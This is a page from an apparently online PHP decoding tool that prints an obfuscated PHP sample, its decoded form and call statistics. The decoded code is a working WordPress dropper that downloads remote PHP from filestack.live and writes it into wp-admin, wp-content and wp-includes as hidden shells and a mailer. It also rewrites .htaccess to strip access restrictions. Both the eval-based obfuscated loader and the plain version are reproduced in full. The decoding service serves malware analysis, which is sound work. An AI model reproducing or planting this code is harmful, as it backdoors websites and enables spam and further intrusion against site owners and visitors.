Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $Utrde = 'bas'.'e64'.'_deco'.'de'; $ygZRz = 'st'.'rr'.'ev'; $qmBwQ = 's'.'tr'.'_r'.'..
Decoded Output download
error_reporting(0); $p_olux = str_replace("../", "", "./wp-admin/KL9yOBF5tNS.php"); $p_mailer = str_replace("../", "", "./wp-content/cmyNuOXYxzG.php"); $p_xleet = str_replace("../", "", "./wp-includes/Tmh3vdX1cxb.php"); $root = str_replace("../", "", "./"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); } } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); } } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "yk4RgITwnXh", $mailer); save($p_mailer, $mailer); } } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); } Did this file decode correctly?
Original Code
<?php $Utrde = 'bas'.'e64'.'_deco'.'de'; $ygZRz = 'st'.'rr'.'ev'; $qmBwQ = 's'.'tr'.'_r'.'ot13'; $DArNh = 'gzunco'.'mpress'; error_reporting(0); /*** i wvnf ypqjvidlmoxzcs ***/ ini_set('error_log', NULL); eval($DArNh($qmBwQ($ygZRz($Utrde('m/EznB//E4jUy2Ifbt316zTIfKk45L/EXwfGjcR+2sdBKkvzxIoJlDDgoDnhlxcBbN73bpwP6fz4jOx4+c8bL8ANJG0B3XwZfBLgV59FMSeLmV/5wm292tjX5APlndNjMUEs6TtNnqU83RMKtkQngJOYMFWwVu8P060WlPTy8O+4T8UsihXJwHVZAODv98A0pwdZiSYTxcyUhHf+YbXTgEDMf+yy55whEFHmb5phrqmJcSSMlpisUdBlnqWOm+CWb8Om5YQH5vPnt1TFzvIInJC1L8pkJZ/bRglZW3cPMjv7DKCy73ej2jH0y/vrN7q39fJnQvb1e50HAX2CrfSGa0Yrs12qgwzdkNV13WbNY0miGvtPha1u2WJYH55E37zXfCV5NVuvvHrYdner/CLohmmrToFetOGajZCFs2A2n027IKoqXMDdtkrReev9t5pF03KS2+9PzXnFKee2YoKkoh0Q82s/p51MrpFQFfvGa6M0Hn5cXNiMxXbCFrr0wUpNrw6zToNIsKo1XKlerVejeQI1eXTiWc30TpzPCXKb9MJ3ivjo/RcwUAyF0VlPjHEubeNrqVVmepQqzkSgT77kUPOGG2LHCjlKplj1afpEKipcK/aKRrhDMMUaQmCgDjNF2kMtOHGQ9YZwVmOANCg2slT1kcBlvHY9eMWynrJ18WzOLR4It9Q4gNjYUgWTlKuuMgzfZj4coy1sbH7eB0M7KNgxyTgv2jBovqmgtm+d6sckJRqCpgkYSoR0t4ZjD90i2jV9pbkTO5B/3zu0XylmXwmlZMh0J+68ZTx3HnwKbLY5juO9/v3z06HDue2NP8juarAziIU4Pz9i9eO38mDRo7CnxBW6OGpe+hvY/jnoTj1Dcodq3669uBn/YzBqW6C7zpxAyvHR+6c7mLvRFAyj+ELg+4G9jegyosOMcYzHOuW0YZmNOJPb4gO4ifCGoK61sZ5r6BDjtADem/yEeYsAkQlajFoFpeuVkKTZhnHZcBEFJMWIpFwqBAmnISg47pq0SI8HPao8/lucAiyURoijP3MwV7HHtPv+rz8fY7ht+aFzRoZFUQYz+mCcbs/5WjKLMyOGwbbh+7XsDn9NnGyDCWlyrTfxNAytLTTNaIRAl7kzkGrgSSySE3IoNoxKpmfiyhGcQ50JV2AGa/GXm834zihVLLSwoFTz9/7Y4EYcjiG0VWTGUN21aNwhbVc6LdNyieuDmr5DJonJVsRhK/0QOOJiDUiNnGs='))))); ?>Function Calls
| strrev | 1 |
| ini_set | 1 |
| str_rot13 | 1 |
| gzuncompress | 1 |
| base64_decode | 1 |
| error_reporting | 1 |
Stats
| MD5 | 9f16264963a1f902c2951db403bd2d09 |
| Eval Count | 1 |
| Decode Time | 71 ms |